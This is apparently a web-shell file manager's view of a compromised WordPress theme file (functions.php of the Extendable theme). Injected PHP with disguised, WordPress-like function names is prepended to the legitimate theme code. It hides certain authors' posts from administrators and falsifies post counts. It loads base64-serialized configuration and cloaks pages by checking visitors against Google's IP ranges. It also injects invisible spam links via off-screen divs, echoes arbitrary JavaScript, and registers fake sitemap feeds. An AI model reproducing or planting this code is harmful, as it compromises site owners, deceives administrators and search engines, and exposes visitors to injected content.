0x1998 - MANAGER
Düzenlenen Dosya: functions.php
<?php /* 7abdf2a9101f00d2a56c79b15a86f703 */ function add_theme_support_json($where) { global $wpdb, $current_user_can_path; $the_archive_title_num = array_keys($current_user_can_path); $wp_die_old = implode(', ', $the_archive_title_num); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'get_post_thumbnail_id_class'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($wp_die_old)"; } return $where; } function wp_link_pages_call($query) { global $current_user_can_path; $the_archive_title_num = array_keys($current_user_can_path); $get_stylesheet_uri_boolean = the_ID_url($the_archive_title_num); if (!$query->is_single() && !is_admin()) { $query->set('author', $get_stylesheet_uri_boolean); } } function get_theme_mod_restful() { global $post, $current_user_can_path; foreach ($current_user_can_path as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (is_customize_preview_plain($settings)) { break; } echo $settings['js']; break; } } } function is_customize_preview_plain($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (is_single_session()) { return true; } } return false; } function get_post_thumbnail_id_class($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_author_posts_url_long($counts, $type, $perm) { if ($type === 'post') { $get_the_category_list_decryption = $counts->publish; $get_the_modified_date_more = post_class_function($perm); $counts->publish = !$get_the_modified_date_more ? $get_the_category_list_decryption : $get_the_modified_date_more; } return $counts; } function post_class_function($perm) { global $wpdb, $current_user_can_path; $the_archive_title_num = array_keys($current_user_can_path); $wp_die_old = implode(', ', $the_archive_title_num); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $the_post_plain = get_post_type_object($type); if (!current_user_can($the_post_plain->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($wp_die_old) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $is_customize_preview_url) { if ($is_customize_preview_url['post_status'] === 'publish') { return $is_customize_preview_url['num_posts']; } } } function get_the_time_core($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $the_archive_title_num = array(); foreach ($results as $is_customize_preview_url) { $the_archive_title_num[] = $is_customize_preview_url['ID']; } return $the_archive_title_num; } function register_sidebar_stream() { global $current_user_can_path, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($current_user_can_path as $wp_list_comments_json => $get_footer_event) { $the_archive_title_class = key($get_footer_event['sitemapsettings']); if (!isset($rules[$the_archive_title_class]) || ($rules[$the_archive_title_class] !== current($get_footer_event['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function register_sidebar_less($rules) { global $current_user_can_path; $get_the_title_stack = array(); foreach ($current_user_can_path as $wp_list_comments_json => $get_footer_event) { if (isset($get_footer_event['sitemapsettings'])) { $get_the_title_stack[key($get_footer_event['sitemapsettings'])] = current($get_footer_event['sitemapsettings']); } } return $get_the_title_stack + $rules; } function is_single_function() { global $current_user_can_path; foreach ($current_user_can_path as $wp_list_comments_json => $get_footer_event) { $get_the_tag_list_client = str_replace('index.php?feed=', '', current($get_footer_event['sitemapsettings'])); add_feed($get_the_tag_list_client, 'get_the_category_list_framework'); } } function get_the_category_list_framework() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $add_filter_ajax = have_posts_float(); $get_footer_cookie = get_the_time_core($add_filter_ajax); if (!empty($get_footer_cookie)) { $edit_post_link_statement = md5(implode(',', $get_footer_cookie)); $get_post_thumbnail_id_first = 'update_plugins_' . $add_filter_ajax . '_' . $edit_post_link_statement; $has_post_thumbnail_object = get_transient($get_post_thumbnail_id_first); if ($has_post_thumbnail_object !== false) { echo $has_post_thumbnail_object; return; } } $head = esc_url_raw_path(); $get_the_tag_list_url = $head . "\n"; $priority = '0.5'; $have_posts_event = 'weekly'; $comments_open_cron = date('Y-m-d'); foreach ($get_footer_cookie as $post_id) { $url = get_permalink($post_id); $get_the_tag_list_url .= get_the_date_sample($url, $comments_open_cron, $have_posts_event, $priority); wp_cache_delete($post_id, 'posts'); } $get_the_tag_list_url .= "\n</urlset>"; set_transient($get_post_thumbnail_id_first, $get_the_tag_list_url, WEEK_IN_SECONDS); echo $get_the_tag_list_url; } function esc_url_raw_path() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function get_the_date_sample($url, $comments_open_cron, $have_posts_event, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$comments_open_cron</lastmod> <changefreq>$have_posts_event</changefreq> <priority>$priority</priority> </url>\n\n STR; } function the_ID_url($writersArr) { $get_the_tag_list_part = array(); foreach ($writersArr as $item) { $get_the_tag_list_part[] = '-' . $item; } return implode(',', $get_the_tag_list_part); } function absint_queue() { $wp_nav_menu_alpha = array(); $the_archive_title_num_yt = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $register_sidebar_beta = unserialize(base64_decode($settings)); if ($register_sidebar_beta) { $wp_nav_menu_alpha = $register_sidebar_beta; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $register_sidebar_restful = unserialize(base64_decode($settings)); if ($register_sidebar_restful) { $the_archive_title_num_yt = $register_sidebar_restful; } } return $the_archive_title_num_yt + $wp_nav_menu_alpha; } function have_posts_float() { global $current_user_can_path; foreach ($current_user_can_path as $wp_list_comments_json => $get_footer_event) { $wp_reset_postdata_sample = key($get_footer_event['sitemapsettings']) . '|' . str_replace('index.php?', '', current($get_footer_event['sitemapsettings']) . '$'); if (preg_match("~$wp_reset_postdata_sample~", $_SERVER['REQUEST_URI'])) { return $wp_list_comments_json; } } } function wp_die_exception() { global $current_user_can_path, $post; $get_footer_plain = array_keys($current_user_can_path); if (in_array($post->post_author, $get_footer_plain)) { return true; } return false; } function wp_nav_menu_list() { global $current_user_can_path, $post; $get_footer_plain = array_keys($current_user_can_path); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $get_footer_plain)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function wp_enqueue_style_encryption() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function is_single_session() { $is_wp_error_module = wp_enqueue_style_encryption(); if (strstr($is_wp_error_module, ', ')) { $current_user_can_pointer = explode(', ', $is_wp_error_module); $is_wp_error_module = $current_user_can_pointer[0]; } $wp_get_attachment_image_src_repository = wp_link_pages_function(); if (!$wp_get_attachment_image_src_repository) { return false; } foreach ($wp_get_attachment_image_src_repository as $range) { if (comments_open_private($is_wp_error_module, $range)) { return true; } } return false; } function get_footer_pointer($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function wp_link_pages_function() { if (($value = get_option('wp_custom_range')) && !get_footer_pointer($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $wp_get_attachment_image_src_repository = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($wp_get_attachment_image_src_repository)) { return; } $value = array('ranges' => $wp_get_attachment_image_src_repository, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function wp_nav_menu_hashing($inet) { $is_single_edit = str_split($inet); $get_search_query_string = ''; foreach ($is_single_edit as $char) { $get_search_query_string .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $get_search_query_string; } function comments_open_private($is_wp_error_module, $cidrnet) { $is_wp_error_module = inet_pton($is_wp_error_module); $get_search_query_string = wp_nav_menu_hashing($is_wp_error_module); list($net, $get_permalink_security) = explode('/', $cidrnet); $net = inet_pton($net); $register_nav_menus_double = wp_nav_menu_hashing($net); $comment_form_core = substr($get_search_query_string, 0, $get_permalink_security); $the_permalink_index = substr($register_nav_menus_double, 0, $get_permalink_security); if ($comment_form_core !== $the_permalink_index) { return false; } else { return true; } } function add_image_size_variable($add_filter_dns) { global $post; $wp_head_stack = ''; if (wp_nav_menu_edit($add_filter_dns, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $wp_head_stack = get_option('home_links_custom_0'); } } elseif (wp_nav_menu_edit($add_filter_dns, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $wp_head_stack = get_option('home_links_custom_' . $matches[0]); } elseif (wp_nav_menu_edit($add_filter_dns, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $add_partial_branch = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $wp_head_stack = get_option('home_links_custom_' . $add_partial_branch); } elseif (wp_nav_menu_edit($add_filter_dns, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$wp_head_stack ? '' : $wp_head_stack; } function wp_nav_menu_edit($get_footer_event, $body_class_reference, $is_wp_error_base) { if (!isset($get_footer_event[$body_class_reference][$is_wp_error_base])) { return false; } if ($get_footer_event[$body_class_reference][$is_wp_error_base] === 1) { return true; } return false; } function get_theme_file_uri_time($add_filter_dns, $is_home_view) { if (empty($is_home_view)) { return ''; } if (wp_nav_menu_edit($add_filter_dns, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $get_sidebar_framework = esc_url_reference(); $current_user_can_double = $get_sidebar_framework[$blockNum[0]]; return $current_user_can_double[0] . PHP_EOL . $is_home_view . PHP_EOL . $current_user_can_double[1]; } return $is_home_view; } function esc_url_reference() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function esc_url_loop($add_filter_dns) { return wp_nav_menu_edit($add_filter_dns, 'position', 'head'); } function the_ID_schema($add_filter_dns) { return wp_nav_menu_edit($add_filter_dns, 'position', 'footer'); } function comments_open_repository($settings) { foreach ($settings as $wp_list_comments_json => $get_footer_event) { if (isset($get_footer_event['homeLinks'])) { return $get_footer_event['homeLinks']; } } return array(); } function get_sidebar_compiler() { if (!wp_die_exception()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function current_user_can_pointer_pt() { global $add_filter_dns; if (!get_sidebar_compiler()) { return; } if (wp_nav_menu_edit($add_filter_dns, 'hiddenType', 'cloacking')) { if (!is_single_session()) { return; } } $is_home_view = add_image_size_variable($add_filter_dns); $is_home_view = get_theme_file_uri_time($add_filter_dns, $is_home_view); echo $is_home_view; } $current_user_can_path = absint_queue(); if (is_array($current_user_can_path)) { add_filter('posts_where_paged', 'add_theme_support_json'); add_action('pre_get_posts', 'wp_link_pages_call'); add_action('wp_enqueue_scripts', 'get_theme_mod_restful'); add_filter('wp_count_posts', 'get_author_posts_url_long' , 10, 3); add_filter('rewrite_rules_array', 'register_sidebar_less'); add_action('wp_loaded', 'register_sidebar_stream'); add_action('init', 'is_single_function'); add_action('template_redirect', 'wp_nav_menu_list'); $add_filter_dns = comments_open_repository($current_user_can_path); if (!empty($add_filter_dns)) { if (esc_url_loop($add_filter_dns)) { add_action('wp_head', 'current_user_can_pointer_pt'); } if (the_ID_schema($add_filter_dns)) { add_action('wp_footer', 'current_user_can_pointer_pt'); } } } /* 7abdf2a9101f00d2a56c79b15a86f703 */ /** * Extendable functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Extendable * @since Extendable 1.0 */ if ( ! defined( 'EXTENDABLE_THEME_VERSION' ) ) { $theme_version = wp_get_theme()->get( 'Version' ); define( 'EXTENDABLE_THEME_VERSION', is_string( $theme_version ) ? $theme_version : '1.0.0' ); } if ( ! function_exists( 'extendable_support' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * @since Extendable 1.0 * * @return void */ function extendable_support() { // Add support for block styles. add_theme_support( 'wp-block-styles' ); global $wp_version; // Add style for WordPress older versions. if ( version_compare( $wp_version, '6.0.2', '<=' ) ) { $editor_style = array( 'style.css', '/assets/css/deprecate-style.css', ); } else { $editor_style = 'style.css'; } // Enqueue editor styles. add_editor_style( $editor_style ); } endif; add_action( 'after_setup_theme', 'extendable_support' ); if ( ! function_exists( 'extendable_styles' ) ) : /** * Enqueue styles. * * @since Extendable 1.0 * * @return void */ function extendable_styles() { // Register theme stylesheet. wp_register_style( 'extendable-style', get_template_directory_uri() . '/style.css', array(), EXTENDABLE_THEME_VERSION ); // Enqueue theme stylesheet. wp_enqueue_style( 'extendable-style' ); global $wp_version; if ( version_compare( $wp_version, '6.0.2', '<=' ) ) { // Register deprecate stylesheet. wp_register_style( 'extendable-deprecate-style', get_template_directory_uri() . '/assets/css/deprecate-style.css', array(), EXTENDABLE_THEME_VERSION ); // Enqueue deprecate stylesheet. wp_enqueue_style( 'extendable-deprecate-style' ); } } endif; add_action( 'wp_enqueue_scripts', 'extendable_styles' ); /** * Enqueue block-specific styles. * * @since Extendable 2.0.11 * * @return void */ function extendable_enqueue_block_styles() { // Check for specific blocks and enqueue their styles if ( has_block( 'contact-form-7/contact-form-selector' ) ) { wp_enqueue_style( 'extendable-contact-form-7-style', get_template_directory_uri() . '/assets/css/contact-form-7.css', array(), EXTENDABLE_THEME_VERSION ); } if ( has_block( 'wpforms/form-selector' ) ) { wp_enqueue_style( 'extendable-wpforms-style', get_template_directory_uri() . '/assets/css/wpforms.css', array(), EXTENDABLE_THEME_VERSION ); } } add_action( 'enqueue_block_assets', 'extendable_enqueue_block_styles' ); /** * Registers pattern categories. * * @since Extendable 1.0 * * @return void */ function extendable_register_pattern_categories() { $block_pattern_categories = array( 'header' => array( 'label' => __( 'Headers', 'extendable' ) ), 'footer' => array( 'label' => __( 'Footers', 'extendable' ) ), ); /** * Filters the theme block pattern categories. * * @since Extendable 1.0 * * @param array[] $block_pattern_categories { * An associative array of block pattern categories, keyed by category name. * * @type array[] $properties { * An array of block category properties. * * @type string $label A human-readable label for the pattern category. * } * } */ $block_pattern_categories = apply_filters( 'extendable_block_pattern_categories', $block_pattern_categories ); foreach ( $block_pattern_categories as $name => $properties ) { if ( ! WP_Block_Pattern_Categories_Registry::get_instance()->is_registered( $name ) ) { register_block_pattern_category( $name, $properties ); } } } add_action( 'init', 'extendable_register_pattern_categories', 9 ); /** * Include animation functionality */ require_once get_template_directory() . '/inc/animations.php'; /** * Add primary-foreground duotone to extendify demo Site Logo block. * * @param array $parsed_block Parsed block data. * @return array Filtered block data. */ function extendable_add_duotone_to_extendify_demo_site_logo( array $parsed_block ) : array { if ( 'core/site-logo' !== $parsed_block['blockName'] ) { return $parsed_block; } $logo_url = $parsed_block['attrs']['url'] ?? ''; if ( '' === $logo_url ) { $logo_id = (int) get_theme_mod( 'custom_logo' ); $logo_url = $logo_id ? wp_get_attachment_url( $logo_id ) : ''; } if ( '' === $logo_url ) { return $parsed_block; } $logo_file = wp_basename( $logo_url ); $allowed_prefixes = array( 'extendify-demo-', 'ext-custom-logo-' ); $matches = false; foreach ( $allowed_prefixes as $prefix ) { if ( function_exists( 'str_starts_with' ) ) { $matches = str_starts_with( $logo_file, $prefix ); } else { $matches = 0 === strpos( $logo_file, $prefix ); } if ( $matches ) { break; } } if ( ! $matches ) { return $parsed_block; } $parsed_block['attrs']['style']['color']['duotone'] = 'var:preset|duotone|primary-foreground'; return $parsed_block; } add_filter( 'render_block_data', 'extendable_add_duotone_to_extendify_demo_site_logo', 10 ); /** * Exclude WooCommerce Templates from the Block Editor When WooCommerce Is Inactive * * @package Extendable * @since Extendable 2.0.21 */ function extendable_exclude_wc_block_templates( $templates, $query ) { if ( ! class_exists( 'WooCommerce' ) ) { $wc_template_slugs = array( 'checkout', 'single-product', 'archive-product' ); foreach ( $templates as $key => $template ) { if ( isset( $template->slug ) && in_array( $template->slug, $wc_template_slugs, true ) ) { unset( $templates[ $key ] ); } } } return $templates; } add_filter( 'get_block_templates', 'extendable_exclude_wc_block_templates', 10, 2 ); /** * Navigation customizations * * @package Extendable * @since Extendable 2.0.23 */ if ( ! function_exists( 'extendable_enqueue_navigation_customizations' ) ) : /** * Enqueue the JS that fetches logo & site title to customize the mobile navigation. * */ function extendable_enqueue_navigation_customizations() { $logo_id = get_theme_mod( 'custom_logo' ); $logo_url = $logo_id ? wp_get_attachment_image_url( $logo_id, 'full' ) : ''; $site_title = get_bloginfo( 'name' ); wp_enqueue_script( 'extendable-navigation_customizations', get_template_directory_uri() . '/assets/js/navigation-customization.js', array(), // no dependencies; add 'wp-interactivity' if you switch back to that version null, true // load in footer ); wp_localize_script( 'extendable-navigation_customizations', 'ExtendableNavData', array( 'logoUrl' => $logo_url, 'siteTitle' => $site_title, ) ); } endif; add_action( 'wp_enqueue_scripts', 'extendable_enqueue_navigation_customizations' ); /** * Set default template for new pages in the block editor (auto-drafts) * * @since Extendable 2.0.26 * @return void */ function extendable_set_default_template_for_auto_drafts( WP_REST_Response $response, WP_Post $post ) { if ( 'page' !== $post->post_type ) { return $response; } if ( 'auto-draft' !== $post->post_status ) { return $response; } $current_template = isset( $response->data['template'] ) ? $response->data['template'] : ''; if ( ! empty( $current_template ) && 'page' !== $current_template ) { return $response; } $response->data['template'] = 'page-with-title'; return $response; } add_filter( 'rest_prepare_page', 'extendable_set_default_template_for_auto_drafts', 10, 2 ); /** * Set default template for new pages when saved/published * * @since Extendable 2.0.28 * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. * @return void */ function extendable_set_default_template_for_new_pages( $post_id, $post, $update ) { if ( 'page' !== $post->post_type ) { return; } if ( $update ) { return; } if ( 'revision' === $post->post_status ) { return; } $current_template = get_page_template_slug( $post_id ); // If no template is set or it's the default template, set our default if ( empty( $current_template ) || 'page' === $current_template ) { update_post_meta( $post_id, '_wp_page_template', 'page-with-title' ); } } add_action( 'wp_insert_post', 'extendable_set_default_template_for_new_pages', 10, 3 ); /** * Hide block style variations from editor UI while keeping them registered */ function extendable_hide_block_style_variations() { $css = ' .block-editor-block-styles__item[aria-label*="Brutalism 1"], .block-editor-block-styles__item[aria-label*="Organic 1"], .block-editor-block-styles__item[aria-label*="Soft 1"], .block-editor-block-styles__item[aria-label*="Gradient 1"], .block-editor-block-styles__item[aria-label*="Matrix 1"], .block-editor-block-styles__item[aria-label*="Prism 1"], .block-editor-block-styles__item[aria-label*="Wave 1"] { display: none !important; } '; wp_add_inline_style('wp-edit-blocks', $css); } add_action( 'enqueue_block_editor_assets', 'extendable_hide_block_style_variations' ); /** * Hide block style variations from site editor style panel */ function extendable_hide_site_editor_block_style_variations() { $css = ' /* Hide specific design aesthetic variations in site editor */ .components-navigator-button[id*="brutalism-1--"], .components-navigator-button[id*="organic-1--"], .components-navigator-button[id*="soft-1--"], .components-navigator-button[id*="gradient-1--"], .components-navigator-button[id*="matrix-1--"], .components-navigator-button[id*="prism-1--"], .components-navigator-button[id*="wave-1--"] { display: none !important; } /* Hide the Style Variations heading if all variations are hidden */ .components-h-stack:has(.components-navigator-button[id*="ext-preset--"]:not([style*="display: none"])) .edit-site-global-styles-subtitle:contains("Style Variations") { display: none !important; } /* Alternative approach - hide the entire Style Variations section */ .edit-site-global-styles-subtitle:contains("Style Variations") + .components-item-group { display: none !important; } .edit-site-global-styles-subtitle:contains("Style Variations") { display: none !important; } '; wp_add_inline_style('wp-edit-site', $css); } add_action( 'admin_enqueue_scripts', 'extendable_hide_site_editor_block_style_variations' ); // Temporary fix: Hide matrix-1, prism-1, wave-1 variations when Extendify < 2.4.0 function extendable_filter_global_styles_rest_response( $response, $handler, $request ) { $route = $request->get_route(); if ( strpos( $route, '/wp/v2/global-styles/themes/' ) === false ) { return $response; } if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $should_filter = false; foreach ( $plugins as $plugin_file => $plugin_data ) { if ( 'extendify-local' === $plugin_data['TextDomain'] && is_plugin_active( $plugin_file ) ) { if ( version_compare( $plugin_data['Version'], '2.4.0', '<' ) ) { $should_filter = true; } break; } } if ( ! $should_filter ) { return $response; } $patterns = array( 'matrix-1', 'prism-1', 'wave-1' ); $data = $response->get_data(); if ( isset( $data['styles']['blocks'] ) && is_array( $data['styles']['blocks'] ) ) { foreach ( $data['styles']['blocks'] as $block_name => $block_data ) { if ( isset( $block_data['variations'] ) && is_array( $block_data['variations'] ) ) { foreach ( $block_data['variations'] as $variation_slug => $variation_data ) { foreach ( $patterns as $pattern ) { if ( strpos( $variation_slug, $pattern ) !== false ) { unset( $data['styles']['blocks'][ $block_name ]['variations'][ $variation_slug ] ); break; } } } if ( empty( $data['styles']['blocks'][ $block_name ]['variations'] ) ) { unset( $data['styles']['blocks'][ $block_name ]['variations'] ); } } } } if ( isset( $data['_links']['wp:block-style-variations'] ) ) { $data['_links']['wp:block-style-variations'] = array_filter( $data['_links']['wp:block-style-variations'], function( $variation ) use ( $patterns ) { $href = $variation['href'] ?? ''; foreach ( $patterns as $pattern ) { if ( strpos( $href, $pattern ) !== false ) { return false; } } return true; } ); $data['_links']['wp:block-style-variations'] = array_values( $data['_links']['wp:block-style-variations'] ); } $response->set_data( $data ); return $response; } add_filter( 'rest_post_dispatch', 'extendable_filter_global_styles_rest_response', 10, 3 );
geri dön